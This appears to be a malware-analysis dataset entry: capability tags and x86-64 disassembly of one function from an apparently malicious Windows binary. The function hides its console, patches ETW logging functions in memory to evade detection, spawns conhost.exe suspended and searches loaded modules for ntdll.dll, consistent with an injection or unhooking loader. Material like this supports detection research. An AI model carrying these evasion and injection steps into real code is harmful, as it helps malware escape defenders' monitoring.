Function at 0x100036c0
Capabilities:
Create process on windows
Create process suspended
Enumerate process modules
Hide graphical window
Link many functions at runtime
Parse pe header
Resolve function by parsing pe exports
Set registry value

Disassembly:
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbp
push rbx
sub rsp, 0x458
movdqa xmmword [rsp + 0x440], xmm15
movdqa xmmword [rsp + 0x430], xmm14
movdqa xmmword [rsp + 0x420], xmm13
movdqa xmmword [rsp + 0x410], xmm12
movdqa xmmword [rsp + 0x400], xmm11
movdqa xmmword [rsp + 0x3f0], xmm10
movdqa xmmword [rsp + 0x3e0], xmm9
movdqa xmmword [rsp + 0x3d0], xmm8
movapd xmmword [rsp + 0x3c0], xmm7
movdqa xmmword [rsp + 0x3b0], xmm6
call sub.KERNEL32.dll_GetConsoleWindow
mov rsi, rax
mov rcx, rax
xor edx, edx
call sub.USER32.dll_ShowWindow
mov dword [rsp + 0x30], 3
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
mov rcx, rsi
mov rdx, 0xfffffffffffffffe
xor r8d, r8d
xor r9d, r9d
call sub.USER32.dll_SetWindowPos
lea rcx, [0x104a61c0]
call sub.KERNEL32.dll_LoadLibraryA
mov rdi, rax
lea rdx, str.EtwEventWrite
mov rcx, rax
call sub.KERNEL32.dll_GetProcAddress
mov qword [rsp + 0x20], 0
lea rsi, [0x104a6213]
mov r9d, 4
mov rcx, 0xffffffffffffffff
mov rdx, rax
mov r8, rsi
call sub.KERNEL32.dll_WriteProcessMemory
lea rdx, str.EtwNotificationRegister
mov rcx, rdi
call sub.KERNEL32.dll_GetProcAddress
mov qword [rsp + 0x20], 0
mov r9d, 4
mov rcx, 0xffffffffffffffff
mov rdx, rax
mov r8, rsi
call sub.KERNEL32.dll_WriteProcessMemory
lea rdx, str.EtwEventRegister
mov rcx, rdi
call sub.KERNEL32.dll_GetProcAddress
mov qword [rsp + 0x20], 0
mov r9d, 4
mov rcx, 0xffffffffffffffff
mov rdx, rax
mov r8, rsi
call sub.KERNEL32.dll_WriteProcessMemory
lea rdx, str.EtwEventWriteFull
mov rcx, rdi
call sub.KERNEL32.dll_GetProcAddress
mov qword [rsp + 0x20], 0
mov r9d, 4
mov rcx, 0xffffffffffffffff
mov rdx, rax
mov r8, rsi
call sub.KERNEL32.dll_WriteProcessMemory
pxor xmm6, xmm6
movdqa xmmword [rsp + 0xe0], xmm6
mov qword [rsp + 0xf0], 0
movdqa xmmword [rsp + 0x1a0], xmm6
movdqa xmmword [rsp + 0x200], xmm6
movdqa xmmword [rsp + 0x1f0], xmm6
movdqa xmmword [rsp + 0x1e0], xmm6
movdqa xmmword [rsp + 0x1d0], xmm6
movdqa xmmword [rsp + 0x1c0], xmm6
movdqa xmmword [rsp + 0x1b0], xmm6
mov dword [rsp + 0x1a0], 0x70
lea rax, [rsp + 0xe0]
mov qword [rsp + 0x48], rax
lea rbx, [rsp + 0x1a0]
mov qword [rsp + 0x40], rbx
movdqu xmmword [rsp + 0x30], xmm6
mov dword [rsp + 0x28], 4
mov dword [rsp + 0x20], 0
lea rdx, str.conhost.exe
xor ecx, ecx
xor r8d, r8d
xor r9d, r9d
call sub.KERNEL32.dll_CreateProcessA
mov rax, qword [rsp + 0xe0]
mov qword [rsp + 0x188], rax
call sub.KERNEL32.dll_GetCurrentProcess
mov r14, rax
mov qword [rsp + 0xa8], rax
mov qword [rsp + 0x1a0], 8
movdqu xmmword [rsp + 0x1a8], xmm6
mov dword [rsp + 0xe0], 0
mov esi, 8
xor r15d, r15d
xor ebp, ebp
jmp 0x1000394e
mov r15, r12
mov qword [rsp + 0x1b0], r15
mov ebp, r12d
lea r8d, [r15*8]
mov dword [rsp + 0x20], 3
mov rcx, r14
mov rdx, rsi
lea r9, [rsp + 0xe0]
call sub.PSAPI.DLL_EnumProcessModulesEx
test eax, eax
je 0x10005d23
mov r12d, dword [rsp + 0xe0]
cmp r12d, ebp
jbe 0x10003a02
mov rdi, r12
sub rdi, r15
jbe 0x10003940
mov rax, qword [rsp + 0x1a8]
sub rax, r15
cmp rax, rdi
jb 0x100039d8
lea rcx, [rsi + r15*8]
cmp rdi, 2
jb 0x100039c9
lea r8, [rdi*8 - 8]
xor edx, edx
call sub.msvcrt.dll_memset
lea rax, [r15 + rdi]
lea rcx, [rsi + rax*8]
add rcx, 0xfffffffffffffff8
add r15, rdi
dec r15
mov qword [rcx], 0
inc r15
jmp 0x10003943
mov rcx, rbx
mov rdx, r15
mov r8, rdi
call fcn.10039210
mov rsi, qword [rsp + 0x1a0]
mov r15, qword [rsp + 0x1b0]
lea rcx, [rsi + r15*8]
cmp rdi, 2
jae 0x100039a8
jmp 0x100039c9
mov r14d, r12d
shr r14d, 3
cmp r15, r14
jb 0x10005eb2
mov edi, eax
cmp r12d, 8
jae 0x10004c25
mov eax, 8
mov qword [rsp + 0x80], rax
xor r12d, r12d
cmp qword [rsp + 0x1a8], 0
je 0x10003a4a
mov rcx, qword [0x104b80c8]
xor edx, edx
mov r8, rsi
call fcn.1003965c
mov qword [rsp + 0xd0], r14
test edi, edi
je 0x10005ec6
test r12, r12
je 0x10004c83
mov rdx, r12
shl rdx, 4
mov rax, qword [rsp + 0x80]
add rdx, rax
lea rcx, [rsp + 0x1a0]
mov qword [rsp + 0x178], rcx
lea rbp, [0x104a7410]
mov r14d, 0xff
lea r15, [0x104a749c]
lea rcx, str.library_alloc_src_str.rs
mov qword [rsp + 0xc8], rcx
movapd xmm7, xmmword [0x10047080]
movdqa xmm11, xmmword [0x100470c0]
movdqa xmm12, xmmword [0x100470d0]
movdqa xmm13, xmmword [0x100470e0]
movdqa xmm14, xmmword [0x100470f0]
movdqa xmm15, xmmword [0x10047100]
movdqa xmm8, xmmword [0x10047110]
movdqa xmm9, xmmword [0x10047120]
movdqa xmm6, xmmword [0x10047140]
lea rcx, str.library_std_src_sys_commonwtf8.rs
mov qword [rsp + 0x170], rcx
mov qword [rsp + 0x198], rdx
jmp 0x10003b2a
mov rax, qword [rsp + 0xd8]
add rax, 0x10
cmp rax, qword [rsp + 0x198]
je 0x10004c83
movdqu xmm10, xmmword [rax]
mov qword [rsp + 0xd8], rax
mov rsi, qword [rax]
mov r8d, 0x208
lea rdi, [rsp + 0x1a0]
mov rcx, rdi
xor edx, edx
call sub.msvcrt.dll_memset
mov rcx, qword [rsi]
pshufd xmm0, xmm10, 0xee
movq rdx, xmm0
mov qword [rsp + 0x180], rdx
mov r8, rdi
mov r9d, 0x104
call sub.PSAPI.DLL_GetModuleBaseNameW
test eax, eax
je 0x10005e31
mov r8d, eax
cmp eax, 0x105
jae 0x10005e76
lea rcx, [rsp + 0xe0]
lea rdx, [rsp + 0x1a0]
call fcn.10019740
mov rsi, qword [rsp + 0xe0]
mov rax, qword [rsp + 0xf0]
mov r13, rax
test rax, rax
pxor xmm10, xmm10
je 0x10003c70
lea rbx, [rsi + r13]
xor edi, edi
mov rcx, rsi
jmp 0x10003bef
add rcx, 2
cmp rax, rbx
cmovne rax, rcx
mov r8d, 2
nop
add rdi, r8
mov rcx, rax
cmp rax, rbx
je 0x10003c70
lea rax, [rcx + 1]
movzx edx, byte [rcx]
mov r8d, 1
test dl, dl
jns 0x10003be0
cmp dl, 0xe0
jb 0x10003bcd
cmp dl, 0xed
jne 0x10003c31
cmp rax, rbx
je 0x10003c70
lea rax, [rcx + 2]
cmp rax, rbx
je 0x10003c70
cmp byte [rcx + 1], 0x9f
ja 0x10004950
add rcx, 3
mov r8d, 3
mov rax, rcx
jmp 0x10003be0
add rcx, 2
cmp rax, rbx
cmove rcx, rax
xor eax, eax
cmp rcx, rbx
setne al
add rax, rcx
mov r8d, 3
cmp dl, 0xf0
jb 0x10003be0
xor ecx, ecx
cmp rax, rbx
setne cl
add rax, rcx
mov r8d, 4
jmp 0x10003be0
mov rdi, rsi
test r13, r13
je 0x10003cc0
js 0x10005dff
movzx eax, byte [0x104b8120]
mov rax, qword [0x104b80c8]
test rax, rax
jne 0x10003ca6
call sub.KERNEL32.dll_GetProcessHeap
test rax, rax
je 0x10005df0
mov qword [0x104b80c8], rax
mov rcx, rax
xor edx, edx
mov r8, r13
call sub.KERNEL32.dll_HeapAlloc
mov rbx, rax
test rax, rax
jne 0x10003cc5
jmp 0x10005df0
mov ebx, 1
mov rcx, rbx
mov rdx, rdi
mov r8, r13
call sub.msvcrt.dll_memcpy
mov rdi, r13
mov qword [rsp + 0x98], rbx
mov qword [rsp + 0xc0], rdi
cmp qword [rsp + 0xe8], 0
je 0x10003d02
mov rcx, qword [0x104b80c8]
xor edx, edx
mov r8, rsi
call fcn.1003965c
movabs rbx, 0x8080808080808080
test r13, r13
je 0x10003fa0
js 0x10005dff
movzx eax, byte [0x104b8120]
mov rax, qword [0x104b80c8]
test rax, rax
jne 0x10003d43
call sub.KERNEL32.dll_GetProcessHeap
test rax, rax
je 0x10005df0
mov qword [0x104b80c8], rax
mov rcx, rax
xor edx, edx
mov r8, r13
call sub.KERNEL32.dll_HeapAlloc
test rax, rax
je 0x10005df0
mov r12, rax
xor esi, esi
cmp r13, 0x10
jb 0x10003fa8
nop dword [rax + rax]
mov rax, qword [rsp + 0x98]
mov rcx, qword [rax + rsi]
movdqu xmm0, xmmword [rax + rsi]
pshufd xmm1, xmm0, 0xee
movq rax, xmm1
mov rdx, rax
or rdx, rcx
test rdx, rbx
jne 0x10003fa8
mov r8, rcx
mov r10, rcx
mov rdx, rcx
shr rdx, 0x28
mov r9, rcx
shr r9, 0x20
pshufd xmm1, xmm0, 0x44
movdqa xmm2, xmm0
psrlq xmm2, 0x10
psrlq xmm1, 0x18
movsd xmm1, xmm2
shr ecx, 8
movd xmm2, ecx
movdqa xmm3, xmm0
punpcklqdq xmm3, xmm2
andpd xmm1, xmm7
pand xmm3, xmm7
packuswb xmm3, xmm1
movd xmm1, r9d
pshufd xmm1, xmm1, 0x50
movdqa xmm2, xmmword [0x10047090]
pandn xmm2, xmm1
movd xmm1, edx
psllq xmm1, 0x28
movdqa xmm4, xmmword [0x100470a0]
pandn xmm4, xmm1
mov rcx, rax
shr rcx, 0x28
mov rdx, rax
shr rdx, 0x20
mov r9d, eax
shr r9d, 0x18
mov r11d, eax
shr r11d, 0x10
mov edi, eax
shr edi, 8
shr r8, 0x38
shr r10, 0x30
packuswb xmm3, xmm10
packuswb xmm3, xmm10
por xmm4, xmm2
por xmm4, xmm3
movdqa xmm2, xmmword [0x100470b0]
pand xmm4, xmm2
movd xmm1, r10d
psllq xmm1, 0x30
pandn xmm2, xmm1
por xmm2, xmm4
pand xmm2, xmm11
movd xmm1, r8d
psllq xmm1, 0x38
movdqa xmm3, xmm11
pandn xmm3, xmm1
por xmm3, xmm2
pand xmm3, xmm12
movd xmm1, eax
pshufd xmm1, xmm1, 0x44
movdqa xmm2, xmm12
pandn xmm2, xmm1
por xmm2, xmm3
pand xmm2, xmm13
movd xmm1, edi
pslldq xmm1, 9
movdqa xmm3, xmm13
pandn xmm3, xmm1
por xmm3, xmm2
pand xmm3, xmm14
movd xmm1, r11d
pslldq xmm1, 0xa
movdqa xmm2, xmm14
pandn xmm2, xmm1
por xmm2, xmm3
pand xmm2, xmm15
movd xmm1, r9d
pslldq xmm1, 0xb
movdqa xmm3, xmm15
pandn xmm3, xmm1
por xmm3, xmm2
pand xmm3, xmm8
movd xmm1, edx
pshufd xmm1, xmm1, 0
movdqa xmm2, xmm8
pandn xmm2, xmm1
por xmm2, xmm3
movd xmm1, ecx
pslldq xmm1, 0xd
movdqa xmm3, xmm9
pandn xmm3, xmm1
shr rax, 0x30
pand xmm2, xmm9
por xmm3, xmm2
pand xmm3, xmmword [0x10047130]
movd xmm1, eax
pslldq xmm1, 0xe
por xmm1, xmm3
pand xmm1, xmm6
movdqa xmm2, xmm6
pandn xmm2, xmm0
por xmm2, xmm1
movdqa xmm0, xmm2
paddb xmm0, xmmword [0x10047150]
movdqa xmm1, xmm0
pminub xmm1, xmmword [0x10047160]
pcmpeqb xmm1, xmm0
pand xmm1, xmmword [str._________________]
por xmm1, xmm2
movdqu xmmword [r12 + rsi], xmm1
lea rax, [rsi + 0x10]
add rsi, 0x20
cmp rsi, r13
mov rsi, rax
jbe 0x10003d70
mov rsi, rax
jmp 0x10003fa8
mov r12d, 1
xor esi, esi
mov rax, r13
mov qword [rsp + 0x70], r12
mov qword [rsp + 0x1a0], r12
mov qword [rsp + 0x1a8], r13
mov qword [rsp + 0x1b0], rsi
sub rax, rsi
mov qword [rsp + 0x88], rax
mov qword [rsp + 0x190], r13
jne 0x10003ff0
mov rsi, r13
jmp 0x10004885
mov rax, qword [rsp + 0x98]
lea rbx, [rax + rsi]
add rax, r13
mov qword [rsp + 0xa0], rax
xor edi, edi
mov r8, rbx
jmp 0x10004050
mov rsi, qword [rsp + 0x1b0]
mov rax, qword [rsp + 0x1a0]
mov qword [rsp + 0x70], rax
mov byte [rax + rsi], r12b
inc rsi
mov qword [rsp + 0x1b0], rsi
sub rdi, qword [rsp + 0x78]
mov r8, qword [rsp + 0xb8]
add rdi, r8
cmp r8, qword [rsp + 0xa0]
je 0x10004870
movzx r12d, byte [r8]
test r12b, r12b
js 0x100040b0
lea rax, [r8 + 1]
cmp r12d, 0x3a3
mov qword [rsp + 0x78], r8
mov qword [rsp + 0xb8], rax
je 0x100041c0
cmp r12d, 0x110000
je 0x10004870
cmp r12d, 0x80
jae 0x10004130
lea eax, [r12 - 0x41]
xor ecx, ecx
cmp al, 0x1a
setb cl
shl ecx, 5
or ecx, r12d
mov r12d, ecx
jmp 0x10004499
mov eax, r12d
and eax, 0x1f
movzx edx, byte [r8 + 1]
and edx, 0x3f
cmp r12b, 0xdf
jbe 0x10004191
movzx ecx, byte [r8 + 2]
shl edx, 6
and ecx, 0x3f
or ecx, edx
cmp r12b, 0xf0
jb 0x100043fa
movzx r12d, byte [r8 + 3]
and eax, 7
shl eax, 0x12
shl ecx, 6
and r12d, 0x3f
or r12d, ecx
or r12d, eax
cmp r12d, 0x110000
je 0x10004870
lea rax, [r8 + 4]
cmp r12d, 0x3a3
mov qword [rsp + 0x78], r8
mov qword [rsp + 0xb8], rax
jne 0x10004077
jmp 0x100041c0
mov eax, 0x57f
xor edx, edx
mov ecx, 0x57f
jmp 0x1000414c
mov rcx, rax
sub rax, rdx
jbe 0x10004490
shr rax, 1
add rax, rdx
xor r8d, r8d
lea r9, [0x104a7cf8]
cmp dword [r9 + rax*8], r12d
setne r8b
cmovb r8d, r14d
cmp r8b, 1
je 0x10004140
movzx edx, r8b
cmp edx, 0xff
jne 0x10004428
inc rax
mov rdx, rax
mov rax, rcx
sub rax, rdx
ja 0x1000414c
jmp 0x10004490
lea rcx, [r8 + 2]
shl eax, 6
or eax, edx
mov r12d, eax
mov rax, rcx
cmp r12d, 0x3a3
mov qword [rsp + 0x78], r8
mov qword [rsp + 0xb8], rax
jne 0x10004077
nop word [rax + rax]
test rdi, rdi
je 0x100041e0
cmp rdi, qword [rsp + 0x88]
jae 0x100041da
cmp byte [rbx + rdi], 0xbf
jg 0x100041e0
jmp 0x10005db4
jne 0x10005db4
lea rdx, [rbx + rdi]
xor eax, eax
jmp 0x100041fe
mov al, 1
cmp ecx, 0x110000
jne 0x100043b7
cmp rdx, rbx
je 0x10004750
movzx ecx, byte [rdx - 1]
test cl, cl
js 0x10004220
dec rdx
jmp 0x10004283
movzx r8d, byte [rdx - 2]
cmp r8b, 0xc0
jge 0x10004250
movzx r9d, byte [rdx - 3]
cmp r9b, 0xc0
jge 0x1000425a
movzx r10d, byte [rdx - 4]
add rdx, 0xfffffffffffffffc
and r10d, 7
shl r10d, 6
and r9d, 0x3f
or r9d, r10d
jmp 0x10004262
add rdx, 0xfffffffffffffffe
and r8d, 0x1f
jmp 0x1000426d
add rdx, 0xfffffffffffffffd
and r9d, 0xf
shl r9d, 6
and r8d, 0x3f
or r8d, r9d
shl r8d, 6
and ecx, 0x3f
or ecx, r8d
cmp ecx, 0x110000
je 0x10004750
test al, al
jne 0x100041f0
mov r9d, ecx
shl r9d, 0xb
mov r8d, 0x23
xor eax, eax
mov r10d, 0x23
jmp 0x100042b8
mov r10, r8
sub r8, rax
jbe 0x100042f9
shr r8, 1
add r8, rax
mov r12d, dword [rbp + r8*4]
shl r12d, 0xb
xor r11d, r11d
cmp r12d, r9d
setne r11b
cmovb r11d, r14d
cmp r11b, 1
je 0x100042b0
movzx eax, r11b
inc r8
cmp eax, 0xff
jne 0x100042f6
mov rax, r8
mov r8, r10
sub r8, rax
ja 0x100042b8
jmp 0x100042f9
mov rax, r8
cmp rax, 0x22
ja 0x10005cf7
jne 0x10004313
mov r9d, 0x21
mov r8d, 0x36b
jmp 0x10004329
mov r8d, dword [rbp + rax*4 + 4]
shr r8d, 0x15
test rax, rax
je 0x100043af
lea r9, [rax - 1]
mov r10d, dword [rbp + r9*4]
mov r9d, 0x1fffff
and r10d, r9d
mov eax, dword [rbp + rax*4]
shr eax, 0x15
mov r9, rax
not r9
add r9, r8
je 0x10004385
mov r9d, ecx
sub r9d, r10d
dec r8
xor r11d, r11d
mov r10, rax
nop dword [rax + rax]
cmp r10, 0x36a
ja 0x10005129
movzx r12d, byte [r10 + r15]
add r11d, r12d
cmp r11d, r9d
ja 0x1000438f
inc r10
cmp r8, r10
jne 0x10004360
mov rax, r8
test al, 1
je 0x100041f0
jmp 0x1000439a
mov rax, r10
test al, 1
je 0x100041f0
mov ecx, 0x110000
xor eax, eax
cmp ecx, 0x110000
je 0x100041fe
jmp 0x100043b7
xor r10d, r10d
jmp 0x10004337
call fcn.1000a910
test al, al
je 0x10004750
mov r8, rdi
mov rdx, qword [rsp + 0x88]
add r8, 2
je 0x10004550
mov rdx, qword [rsp + 0x88]
sub rdx, r8
jbe 0x1000454a
cmp byte [rbx + r8], 0xc0
jge 0x10004550
jmp 0x10005e8f
lea rdx, [r8 + 3]
shl eax, 0xc
or ecx, eax
mov rax, rdx
mov r12d, ecx
cmp r12d, 0x3a3
mov qword [rsp + 0x78], r8
mov qword [rsp + 0xb8], rax
jne 0x10004077
jmp 0x100041c0
lea rcx, [0x104a7cf8]
mov r12d, dword [rcx + rax*8 + 4]
mov eax, r12d
xor eax, 0xd800
add eax, 0xffef0000
cmp eax, 0xffef0800
setb al
cmp r12d, 0x110000
sete cl
or cl, al
mov eax, 0x69
cmovne r12d, eax
je 0x10004490
lea rcx, [rsp + 0x1a0]
mov edx, r12d
call fcn.10006b00
mov dword [rsp + 0xe0], 0
mov r12d, 0x307
jmp 0x100044d8
cmp r12d, 0x80
jae 0x100044c4
mov rsi, qword [rsp + 0x1b0]
cmp rsi, qword [rsp + 0x1a8]
jne 0x10004016
lea rcx, [rsp + 0x1a0]
mov rdx, rsi
call fcn.100063f0
jmp 0x1000400e
mov dword [rsp + 0xe0], 0
cmp r12d, 0x800
jae 0x10004502
mov eax, r12d
shr eax, 6
or al, 0xc0
mov byte [rsp + 0xe0], al
and r12b, 0x3f
or r12b, 0x80
mov byte [rsp + 0xe1], r12b
mov r12d, 2
jmp 0x1000480c
mov eax, r12d
cmp r12d, 0x10000
jae 0x100047c8
shr eax, 0xc
or al, 0xe0
mov byte [rsp + 0xe0], al
mov eax, r12d
shr eax, 6
and al, 0x3f
or al, 0x80
mov byte [rsp + 0xe1], al
and r12b, 0x3f
or r12b, 0x80
mov byte [rsp + 0xe2], r12b
mov r12d, 3
jmp 0x1000480c
jne 0x10005e8f
add r8, rbx
add rdx, r8
xor eax, eax
jmp 0x1000457e
add r8, 2
shl r9d, 6
or r9d, r11d
mov ecx, r9d
test al, al
je 0x10004596
nop dword [rax]
mov al, 1
cmp ecx, 0x110000
jne 0x10004742
cmp r8, rdx
je 0x1000478e
movzx ecx, byte [r8]
test cl, cl
js 0x10004600
inc r8
test al, al
jne 0x10004570
mov r10d, ecx
shl r10d, 0xb
mov r9d, 0x23
xor eax, eax
mov r11d, 0x23
jmp 0x100045bc
mov r11, r9
sub r9, rax
jbe 0x1000466c
shr r9, 1
add r9, rax
mov r13d, dword [rbp + r9*4]
shl r13d, 0xb
xor r12d, r12d
cmp r13d, r10d
setne r12b
cmovb r12d, r14d
cmp r12b, 1
je 0x100045b0
movzx eax, r12b
inc r9
cmp eax, 0xff
jne 0x10004669
mov rax, r9
mov r9, r11
sub r9, rax
ja 0x100045bc
jmp 0x1000466c
mov r9d, ecx
and r9d, 0x1f
movzx r11d, byte [r8 + 1]
and r11d, 0x3f
cmp cl, 0xdf
jbe 0x1000455a
movzx r10d, byte [r8 + 2]
shl r11d, 6
and r10d, 0x3f
or r10d, r11d
cmp cl, 0xf0
jb 0x1000471f
movzx ecx, byte [r8 + 3]
and r9d, 7
shl r9d, 0x12
shl r10d, 6
and ecx, 0x3f
or ecx, r10d
or ecx, r9d
cmp ecx, 0x110000
je 0x1000478e
add r8, 4
test al, al
jne 0x10004570
jmp 0x10004596
mov rax, r9
cmp rax, 0x22
ja 0x10005d0d
jne 0x10004686
mov r10d, 0x21
mov r9d, 0x36b
jmp 0x1000469c
mov r9d, dword [rbp + rax*4 + 4]
shr r9d, 0x15
test rax, rax
je 0x1000473a
lea r10, [rax - 1]
mov r11d, dword [rbp + r10*4]
mov r10d, 0x1fffff
and r11d, r10d
mov eax, dword [rbp + rax*4]
shr eax, 0x15
mov r10, rax
not r10
add r10, r9
je 0x100046f5
mov r10d, ecx
sub r10d, r11d
dec r9
xor r12d, r12d
mov r11, rax
nop dword [rax + rax]
cmp r11, 0x36a
ja 0x100051e3
movzx r13d, byte [r11 + r15]
add r12d, r13d
cmp r12d, r10d
ja 0x100046ff
inc r11
cmp r9, r11
jne 0x100046d0
mov rax, r9
test al, 1
je 0x10004570
jmp 0x1000470a
mov rax, r11
test al, 1
je 0x10004570
mov ecx, 0x110000
xor eax, eax
cmp ecx, 0x110000
je 0x1000457e
jmp 0x10004742
add r8, 3
shl r9d, 0xc
or r10d, r9d
mov ecx, r10d
test al, al
jne 0x10004570
jmp 0x10004596
xor r11d, r11d
jmp 0x100046aa
call fcn.1000a910
test al, al
je 0x1000478e
nop dword [rax + rax]
mov rax, qword [rsp + 0x1a8]
sub rax, rsi
mov r12w, 0x83cf
cmp rax, 2
jae 0x100047b0
mov r8d, 2
lea rcx, [rsp + 0x1a0]
mov rdx, rsi
call fcn.10006550
mov rax, qword [rsp + 0x1a0]
mov rsi, qword [rsp + 0x1b0]
jmp 0x100047b5
mov rax, qword [rsp + 0x1a8]
sub rax, rsi
mov r12w, 0x82cf
cmp rax, 1
jbe 0x10004766
nop word cs:[rax + rax]
mov rax, qword [rsp + 0x70]
mov qword [rsp + 0x70], rax
mov word [rax + rsi], r12w
add rsi, 2
jmp 0x1000402a
shr eax, 0x12
or al, 0xf0
mov byte [rsp + 0xe0], al
mov eax, r12d
shr eax, 0xc
and al, 0x3f
or al, 0x80
mov byte [rsp + 0xe1], al
mov eax, r12d
shr eax, 6
and al, 0x3f
or al, 0x80
mov byte [rsp + 0xe2], al
and r12b, 0x3f
or r12b, 0x80
mov byte [rsp + 0xe3], r12b
mov r12d, 4
mov rax, qword [rsp + 0x1a8]
mov rsi, qword [rsp + 0x1b0]
sub rax, rsi
cmp rax, r12
jae 0x1000483f
lea rcx, [rsp + 0x1a0]
mov rdx, rsi
mov r8, r12
call fcn.10006550
mov rsi, qword [rsp + 0x1b0]
mov rax, qword [rsp + 0x1a0]
mov qword [rsp + 0x70], rax
lea rcx, [rax + rsi]
lea rdx, [rsp + 0xe0]
mov r8, r12
call sub.msvcrt.dll_memcpy
add rsi, r12
jmp 0x1000402a
mov rax, qword [rsp + 0x1a0]
mov qword [rsp + 0x70], rax
mov r13, qword [rsp + 0x1a8]
mov rbx, qword [rsp + 0xc0]
movzx eax, byte [0x104b8120]
mov rax, qword [0x104b80c8]
test rax, rax
jne 0x100048b5
call sub.KERNEL32.dll_GetProcessHeap
test rax, rax
je 0x10005e06
mov qword [0x104b80c8], rax
mov r8d, 9
mov rcx, rax
xor edx, edx
call sub.KERNEL32.dll_HeapAlloc
test rax, rax
je 0x10005e06
movabs rcx, 0x6c642e6c6c64746e
mov qword [rax], rcx
mov byte [rax + 8], 0x6c
cmp rsi, 9
jne 0x10004903
mov rdx, qword [rsp + 0x70]
mov rcx, qword [rdx]
xor rcx, qword [rax]
movzx edx, byte [rdx + 8]
xor dl, byte [rax + 8]
movzx edx, dl
or rdx, rcx
je 0x10005bec
mov rcx, qword [0x104b80c8]
xor edx, edx
mov r8, rax
call fcn.1003965c
test r13, r13
je 0x1000492c
mov rcx, qword [0x104b80c8]
xor edx, edx
mov r8, qword [rsp + 0x70]
call fcn.1003965c
test rbx, rbx
je 0x10003b10
mov rcx, qword [0x104b80c8]
xor edx, edx
mov r8, qword [rsp + 0x98]
call fcn.1003965c
jmp 0x10003b10
test r13, r13
js 0x10005dff
movzx eax, byte [0x104b8120]
mov rax, qword [0x104b80c8]
test rax, rax
jne 0x10004984
call sub.KERNEL32.dll_GetProcessHeap
test rax, rax
mov r12, r13
je 0x10005f9f
mov qword [0x104b80c8], rax
mov rcx, rax
xor edx, edx
mov r12, r13
mov r8, r13
call sub.KERNEL32.dll_HeapAlloc
test rax, rax
je 0x10005f9f
mov qword [rsp + 0x58], rax
mov qword [rsp + 0x60], r12
sub r12, rdi
jb 0x1000614d
mov rcx, rax
mov rdx, rsi
mov r8, rdi
mov qword [rsp + 0x78], rax
call sub.msvcrt.dll_memcpy
mov rcx, qword [rsp + 0x78]
mov qword [rsp + 0x68], rdi
mov r10, rdi
cmp r12, 2
ja 0x100049f3
mov r8d, 3
lea rcx, [rsp + 0x58]
mov rdx, rdi
call fcn.1001a4b0
mov rcx, qword [rsp + 0x58]
mov r10, qword [rsp + 0x68]
mov byte [rcx + r10 + 2], 0xbd
mov word [rcx + r10], 0xbfef
add r10, 3
mov qword [rsp + 0x68], r10
add rdi, 3
cmp rdi, r13
ja 0x10005fc2
cmp rdi, r13
je 0x10004bc1
lea r9, [rsi + rdi]
mov r12, rdi
mov qword [rsp + 0xb8], r9
jmp 0x10004a5f
add r9, 2
cmp rax, rbx
cmovne rax, r9
mov r8d, 2
nop word cs:[rax + rax]
add r12, r8
mov r9, rax
cmp rax, rbx
je 0x10004bc4
lea rax, [r9 + 1]
movzx edx, byte [r9]
mov r8d, 1
test dl, dl
jns 0x10004a50
cmp dl, 0xe0
jb 0x10004a30
cmp dl, 0xed
jne 0x10004aa7
cmp rax, rbx
je 0x10004bc4
lea rax, [r9 + 2]
cmp rax, rbx
je 0x10004bc4
cmp byte [r9 + 1], 0x9f
ja 0x10004ade
add r9, 3
mov r8d, 3
mov rax, r9
jmp 0x10004a50
add r9, 2
cmp rax, rbx
cmove r9, rax
xor eax, eax
cmp r9, rbx
setne al
add rax, r9
mov r8d, 3
cmp dl, 0xf0
jb 0x10004a50
xor edx, edx
cmp rax, rbx
setne dl
add rax, rdx
mov r8d, 4
jmp 0x10004a50
mov r8, r12
sub r8, rdi
jb 0x10006127
cmp r12, r13
ja 0x1000613b
mov rdx, qword [rsp + 0x60]
mov rax, rdx
sub rax, r10
cmp rax, r8
jae 0x10004b2f
lea rcx, [rsp + 0x58]
mov rdx, r10
mov rdi, r8
call fcn.1001a4b0
mov r10, qword [rsp + 0x68]
mov rcx, qword [rsp + 0x58]
mov rax, qword [rsp + 0x60]
mov qword [rsp + 0xa0], rax
mov r8, rdi
jmp 0x10004b37
mov qword [rsp + 0xa0], rdx
mov qword [rsp + 0x70], r10
mov qword [rsp + 0x78], rcx
add rcx, r10
mov rdx, qword [rsp + 0xb8]
mov rdi, r8
call sub.msvcrt.dll_memcpy
mov r10, qword [rsp + 0x70]
add r10, rdi
mov qword [rsp + 0x68], r10
mov rax, qword [rsp + 0xa0]
sub rax, r10
cmp rax, 2
ja 0x10004b91
mov r8d, 3
lea rcx, [rsp + 0x58]
mov rdx, r10
call fcn.1001a4b0
mov rcx, qword [rsp + 0x58]
mov r10, qword [rsp + 0x68]
jmp 0x10004b96
mov rcx, qword [rsp + 0x78]
mov byte [rcx + r10 + 2], 0xbd
mov word [rcx + r10], 0xbfef
add r10, 3
mov qword [rsp + 0x68], r10
add r12, 3
mov rdi, r12
cmp r12, r13
jbe 0x10004a16
jmp 0x10005fc5
mov rdi, r13
mov r8, r13
sub r8, rdi
mov rax, qword [rsp + 0x60]
sub rax, r10
cmp rax, r8
jae 0x10004bf3
lea rcx, [rsp + 0x58]
mov rdx, r10
mov r13, r8
call fcn.1001a4b0
mov rcx, qword [rsp + 0x58]
mov r10, qword [rsp + 0x68]
jmp 0x10004bf6
mov r13, r8
add rdi, rsi
add rcx, r10
mov rdx, rdi
mov r8, r13
mov rdi, r10
call sub.msvcrt.dll_memcpy
add r13, rdi
mov rbx, qword [rsp + 0x58]
mov rdi, qword [rsp + 0x60]
test rbx, rbx
jne 0x10003cd6
jmp 0x10003c73
mov rbx, r14
shl rbx, 4
movzx eax, byte [0x104b8120]
mov rcx, qword [0x104b80c8]
test rcx, rcx
jne 0x10004c57
call sub.KERNEL32.dll_GetProcessHeap
test rax, rax
je 0x10005ef2
mov rcx, rax
mov qword [0x104b80c8], rax
xor edx, edx
mov r8, rbx
call sub.KERNEL32.dll_HeapAlloc
mov qword [rsp + 0x80], rax
test rax, rax
je 0x10005ef2
cmp r14d, 1
jne 0x10005156
xor eax, eax
jmp 0x100051a5
cmp qword [rsp + 0xd0], 0
je 0x10004ca4
mov rcx, qword [0x104b80c8]
xor edx, edx
mov r8, qword [rsp + 0x80]
call fcn.1003965c
mov rcx, qword [rsp + 0xa8]
call sub.KERNEL32.dll_CloseHandle
mov dword [rsp + 0x94], eax
test eax, eax
je 0x10005c6f
xor eax, eax
mov qword [rsp + 0x180], rax
movzx eax, byte [0x104b8120]
